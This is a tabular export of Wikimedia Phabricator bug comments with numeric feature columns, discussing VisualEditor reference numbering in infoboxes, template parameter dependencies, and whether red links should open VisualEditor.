245591,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue","Actually, on review I'm pretty sure that this is a duplicate of bug 50474.

*** This bug has been marked as a duplicate of bug 50474 ***",,,1377823295,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,9.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.1714285714285713,0.6857142857142857,"Actually, on review I'm pretty sure that this is a duplicate of bug 50474.

*** This bug has been marked as a duplicate of bug 50474 ***"
245588,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue",at en.wp user:KWW wonders if this is the same issue as bug 52300?,,,1377814639,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3125,1.0,at en.wp user:KWW wonders if this is the same issue as bug 52300?
245584,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue","Looking again, it seems this is not the same as the earlier bug. In that case the references from the infobox didn't appear in the reflist at all. Now it seems that it is just the numbering that is wrong. At [[Ptyhon (programming language)]] for example, there are 10 references in the infobox, so the first reference in the lead is numbered 11. 

Looking at in VE though the first reference in the lead (TIOBE Software Index (2012)) is numbered 1. In the reference list though TIOBE Software Index (2012) is numbered as 11 and reference 1 is the first one from the infobox.",,,1377801805,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,False,,,8,,0.5,0.0,0.0,2.5,1.0,4.0,2.5,0.0,1.5,0.0,6.0,0.5,0.5,0.0,0.5,0.0,0.5,3.5,12.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.5,0.5,11.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,9.0,5.0,9.5,3.0,1.0,10.0,0.0,0.0,0.0,0.0,0.5,0.0,6.0,0.0,1.5,12.5,6.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.5,0.5,0.0,1.0,3.709077380952381,0.5818452380952381,"Looking again, it seems this is not the same as the earlier bug. In that case the references from the infobox didn't appear in the reflist at all. Now it seems that it is just the numbering that is wrong. At [[Ptyhon (programming language)]] for example, there are 10 references in the infobox, so the first reference in the lead is numbered 11. 

Looking at in VE though the first reference in the lead (TIOBE Software Index (2012)) is numbered 1. In the reference list though TIOBE Software Index (2012) is numbered as 11 and reference 1 is the first one from the infobox."
245579,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue","To clarify the first comment: if you look at the vedit view of the page I linked, you'll see that references 50 and 49 are both labelled ""49"". So, potentially we might be dealing with two distinct bugs here - renumbering because it's not factoring in different surfaces, and duplicate numbering.",,,1377796895,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,2.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,5.0,5.0,3.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,8.0,13.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.016393442622951,0.8524590163934426,"To clarify the first comment: if you look at the vedit view of the page I linked, you'll see that references 50 and 49 are both labelled ""49"". So, potentially we might be dealing with two distinct bugs here - renumbering because it's not factoring in different surfaces, and duplicate numbering."
245574,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue",References in infobox not populating the main references list and not being counted sounds a lot like bug 51289 which was marked fixed at the start of the month,,,1377775105,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,3.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.551724137931035,0.896551724137931,References in infobox not populating the main references list and not being counted sounds a lot like bug 51289 which was marked fixed at the start of the month
245568,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue","<< Entering Visual Editor mode renumbered the references on page Python_(programming_language) https://en.wikipedia.org/wiki/Python_(programming_language)?veaction=edit , so they don't match the references listed at the end of the article. Davipo 08:36, 29 August 2013 (UTC) >>
It will ignore the numbers in the infobox, and start again from n.1 in the first line of the article - should be 11 instead. I find it just slightly confusing, since in the end you are still able to edit footnotes correctly. Thanks.",,,1377770276,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,1.0,0.0,10.0,11.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,10.0,2.0,12.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,5.0,11.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,4.010989010989011,0.7472527472527473,"<< Entering Visual Editor mode renumbered the references on page Python_(programming_language) URL , so they don't match the references listed at the end of the article. Davipo 08:36, 29 August 2013 (UTC) >>
It will ignore the numbers in the infobox, and start again from n.1 in the first line of the article - should be 11 instead. I find it just slightly confusing, since in the end you are still able to edit footnotes correctly. Thanks."
55469,VisualEditor: Transclusion editor should not allow parameters with unmet dependencies,"The transclusion editor should not allow (or at least should warn about) template parameters with unmet dependencies.

For example in [[template:For]] parameter 4 has no effect unless parameter 3 is also specified, so the transclusion editor should not allow/warn about template 4 without an accompanying parameter 3. (parameter 3 is otherwise optional and can be present without parameter 4).

In at least some cite templates, parameter author2 requires the existence of author1, etc. 

I'm fairly sure that this functionality depends on bug 50407, which requests that TemplateData allows dependency relationships like this to be defined.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1377690300,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-f6pggcvz6dsrki4glrbf,task_description,open,True,c1,3,False,False,,8,,0.5,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.5,0.5,4.0,11.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,0.0,0.0,1.0,0.0,0.0,0.5,1.0,3.0,0.5,0.0,0.0,4.0,0.0,0.5,0.0,0.0,0.5,13.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.0,2.5,5.0,2.0,1.5,5.5,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.5,11.0,2.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.5,0.0,1.0,2.5,4.521739130434783,0.7028985507246377,"The transclusion editor should not allow (or at least should warn about) template parameters with unmet dependencies.

For example in [[template:For]] parameter 4 has no effect unless parameter 3 is also specified, so the transclusion editor should not allow/warn about template 4 without an accompanying parameter 3. (parameter 3 is otherwise optional and can be present without parameter 4).

In at least some cite templates, parameter author2 requires the existence of author1, etc. 

I'm fairly sure that this functionality depends on bug 50407, which requests that TemplateData allows dependency relationships like this to be defined.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
55441,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Redlinks right now always take you into wikitext editor, regardless of what editor is primary on your wiki.

--------------------------
**See Also**:
{T54162}
{T54281}",Medium,50.0,1377650040,1455641745.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_description,resolved,True,c1,3,True,True,False,8,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,8.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9210526315789473,0.7894736842105263,"Redlinks right now always take you into wikitext editor, regardless of what editor is primary on your wiki.

--------------------------
**See Also**:
{T54162}
{T54281}"
613259,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",Makes sense. I'll do that.,,,1455819228,,PHID-USER-go2ym6ta2zn6ofdsrqnx,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,137,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,0.875,Makes sense. I'll do that.
613163,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#2039758, @Johan wrote:
> Something like this:
> 
> ""In the future, clicking a red link will open the page in your primary editor. Today it will open it the wikitext editor. This will only work for wikis with [[<tvar|set>mw:Special:MyLanguage/VisualEditor/Single edit tab</>|single edit tab]].""
> 
> (I know the change is happening now, but unless it actually affects editors because it only works for wikis with the single edit tab, it's still a future change for them.)

The wording looks good. I'd push this to next week, and talk about how it will (then) be live on huwiki and people can see it there.",,,1455815567,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,137,,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,18.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,7.0,11.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1777777777777776,0.7333333333333333,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The wording looks good. I'd push this to next week, and talk about how it will (then) be live on huwiki and people can see it there."
613049,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Something like this:

""In the future, clicking a red link will open the page in your primary editor. Today it will open it the wikitext editor. This will only work for wikis with [[<tvar|set>mw:Special:MyLanguage/VisualEditor/Single edit tab</>|single edit tab]].""

(I know the change is happening now, but unless it actually affects editors because it only works for wikis with the single edit tab, it's still a future change for them.)",,,1455809932,,PHID-USER-go2ym6ta2zn6ofdsrqnx,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,137,,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,5.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,9.0,2.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,8.0,10.0,6.0,0.0,2.0,0.0,8.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,5.0,3.7474747474747474,0.6464646464646465,"Something like this:

""In the future, clicking a red link will open the page in your primary editor. Today it will open it the wikitext editor. This will only work for wikis with [[<tvar|set>mw:Special:MyLanguage/VisualEditor/Single edit tab</>|single edit tab]].""

(I know the change is happening now, but unless it actually affects editors because it only works for wikis with the single edit tab, it's still a future change for them.)"
613048,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Something like this:

""In the future, clicking a red link will open the page in your primary editor. Today it will open it the wikitext editor. This will only work for wikis with [[<tvar|set>mw:Special:MyLanguage/VisualEditor/Single edit tab|single edit tab]].""

(I know the change is happening now, but unless it actually affects editors because it only works for wikis with the single edit tab, it's still a future change for them.)",,,1455809914,,PHID-USER-go2ym6ta2zn6ofdsrqnx,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,137,,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,5.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,9.0,2.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,8.0,10.0,6.0,0.0,2.0,0.0,8.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,5.0,3.717171717171717,0.6464646464646465,"Something like this:

""In the future, clicking a red link will open the page in your primary editor. Today it will open it the wikitext editor. This will only work for wikis with [[<tvar|set>mw:Special:MyLanguage/VisualEditor/Single edit tab|single edit tab]].""

(I know the change is happening now, but unless it actually affects editors because it only works for wikis with the single edit tab, it's still a future change for them.)"
612887,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","So does this affect any other wikis than the test wiki at the moment? Hungarian Wikipedia is supposed to get the single edit tab, but doesn't have it yet, right?",,,1455798338,,PHID-USER-go2ym6ta2zn6ofdsrqnx,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,137,,3.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,9.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,9.0,6.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7714285714285714,0.8571428571428571,"So does this affect any other wikis than the test wiki at the moment? Hungarian Wikipedia is supposed to get the single edit tab, but doesn't have it yet, right?"
611488,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",(Only fixed for Single Edit Tab wikis.),,,1455651854,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,137,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,1.0,(Only fixed for Single Edit Tab wikis.)
490476,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1446269, @matmarex wrote:
>>>! In T55441#1446171, @Ricordisamoa wrote:
>>>>! In T55441#1446154, @Krenair wrote:
>>> We'd like to have a single edit tab where the user can chose between VE and a wikitext source editor
>> 
>> https://meta.wikimedia.org/wiki/Wikiafication
> 
> This comment is at best unfair and at worst willful ignorance or trolling. Being able to switch between editors while editing has been requested repeatedly, and using the action=edit view for editors is the obvious choice, already made by others such as CodeEditor. It is the most obvious, most intuitive and best way to present two or more editors

It proves that the essay is biased and Wikiafication can be good sometimes.",,,1436623626,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,33.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,27.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,0.5666666666666667,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It proves that the essay is biased and Wikiafication can be good sometimes."
490395,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1446955, @TTO wrote:
> Many of the MW installations that have requested this appear to be corporate/internal wikis. Would you be willing to provide the feature for them, even if you do not enable it on WMF wikis?

Yes, that's fine (though ideally we'd do so in a way that doesn't create technical debt in MediaWiki which we'd have to carry).",,,1436578387,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,105,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,6.0,0.0,9.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,11.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,6.0,11.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3714285714285714,0.8571428571428571,"QUOTE
QUOTE

Yes, that's fine (though ideally we'd do so in a way that doesn't create technical debt in MediaWiki which we'd have to carry)."
490394,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Many of the MW installations that have requested this appear to be corporate/internal wikis. Would you be willing to provide the feature for them, even if you do not enable it on WMF wikis?",,,1436578325,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,3.0,0.0,0.0,0.0,3.0,10.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,5.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,5.0,5.0,10.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,10.0,15.0,5.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.8717948717948718,"Many of the MW installations that have requested this appear to be corporate/internal wikis. Would you be willing to provide the feature for them, even if you do not enable it on WMF wikis?"
490260,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1446206, @Solstag wrote:
> This bug is about making the default choice of editor consistent. For red links. It's that simple.

I understand. The current situation is poor for the majority of people who click 'edit' rather than 'edit source' and get VE rather than WT, except when it comes to red links.

However, just blindly changing these from WT to VE would be a bad move for a few reasons:

* It's a pretty core disruptive change to a core part of how MediaWiki works, which means it would probably break a number of scripts, gadgets, bots and other tools that have been built over the past 15 years relying on this being a certain way.
* It would take a long time to roll out in Wikimedia production, as this would be a breaking change to the read HTML with `href`s' targets being changed, meaning the benefit for IPs would take many weeks to be fully felt (and likely breaking other things).
* It would replace the bad system (use WT, no choice) with another bad system (use VE, no choice), rather than a 'proper' system of user choice
* It would be particularly disruptive for 'power editors', who would be forced to switch over to WT every time they clicked edit, likely leading them to opt-out of VE in huge numbers.
* It would be inconsistent – for namespaces which are WT-only, like `MediaWiki:` or `Template:`, would it take you to WT anyway?
* For users who can't use VE (//e.g.// no JS, something we can't fix server-side), it would strand them on the 'read' page, rather than take then to WT

Consequently, I am not willing to make this change before we have a single edit tab that solves (or obviates) each of these issues.",,,1436558337,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,105,,1.0,0.25,0.25,1.0,0.75,5.75,1.75,0.0,0.0,0.0,2.0,3.5,0.0,0.25,0.0,1.0,0.0,5.75,11.0,0.25,1.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,2.75,0.5,3.0,1.25,2.25,0.0,0.25,0.0,0.25,0.5,0.25,0.75,0.75,0.0,0.75,0.0,0.5,0.0,0.5,0.0,13.25,0.5,0.75,0.25,0.25,0.0,0.0,0.0,0.25,0.5,0.25,0.0,1.0,0.0,0.25,0.0,1.25,0.0,4.25,3.0,8.5,0.75,1.25,7.75,0.0,0.0,0.0,0.0,5.75,0.0,0.25,0.0,4.5,11.0,4.75,0.25,2.75,0.0,4.5,0.0,2.25,2.5,0.5,1.5,0.0,0.0,0.0,3.579991980753809,0.7167201283079391,"QUOTE
QUOTE

I understand. The current situation is poor for the majority of people who click 'edit' rather than 'edit source' and get VE rather than WT, except when it comes to red links.

However, just blindly changing these from WT to VE would be a bad move for a few reasons:

* It's a pretty core disruptive change to a core part of how MediaWiki works, which means it would probably break a number of scripts, gadgets, bots and other tools that have been built over the past 15 years relying on this being a certain way.
* It would take a long time to roll out in Wikimedia production, as this would be a breaking change to the read HTML with CODEs' targets being changed, meaning the benefit for IPs would take many weeks to be fully felt (and likely breaking other things).
* It would replace the bad system (use WT, no choice) with another bad system (use VE, no choice), rather than a 'proper' system of user choice
* It would be particularly disruptive for 'power editors', who would be forced to switch over to WT every time they clicked edit, likely leading them to opt-out of VE in huge numbers.
* It would be inconsistent – for namespaces which are WT-only, like CODE or CODE, would it take you to WT anyway?
* For users who can't use VE (//e.g.// no JS, something we can't fix server-side), it would strand them on the 'read' page, rather than take then to WT

Consequently, I am not willing to make this change before we have a single edit tab that solves (or obviates) each of these issues."
490255,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1446171, @Ricordisamoa wrote:
>>>! In T55441#1446154, @Krenair wrote:
>> We'd like to have a single edit tab where the user can chose between VE and a wikitext source editor
> 
> https://meta.wikimedia.org/wiki/Wikiafication

This comment is at best unfair and at worst willful ignorance or trolling. Being able to switch between editors while editing has been requested repeatedly, and using the action=edit view for editors is the obvious choice, already made by others such as CodeEditor. It is the most obvious, most intuitive and best way to present two or more editors, and not ""additional and costly bloat to a site as an unsuccessful means of ""engaging visitors"" or ""building community"""", like that page states. ",,,1436557895,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,105,,0.0,0.0,0.0,0.5,1.0,10.5,2.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,9.0,0.0,1.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,1.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,13.0,0.0,1.5,0.0,3.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,5.5,0.5,6.0,5.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,1.0,9.0,3.0,0.0,5.5,0.0,1.0,0.0,0.0,2.0,0.0,1.5,1.0,4.0,0.0,4.101851851851852,0.75,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

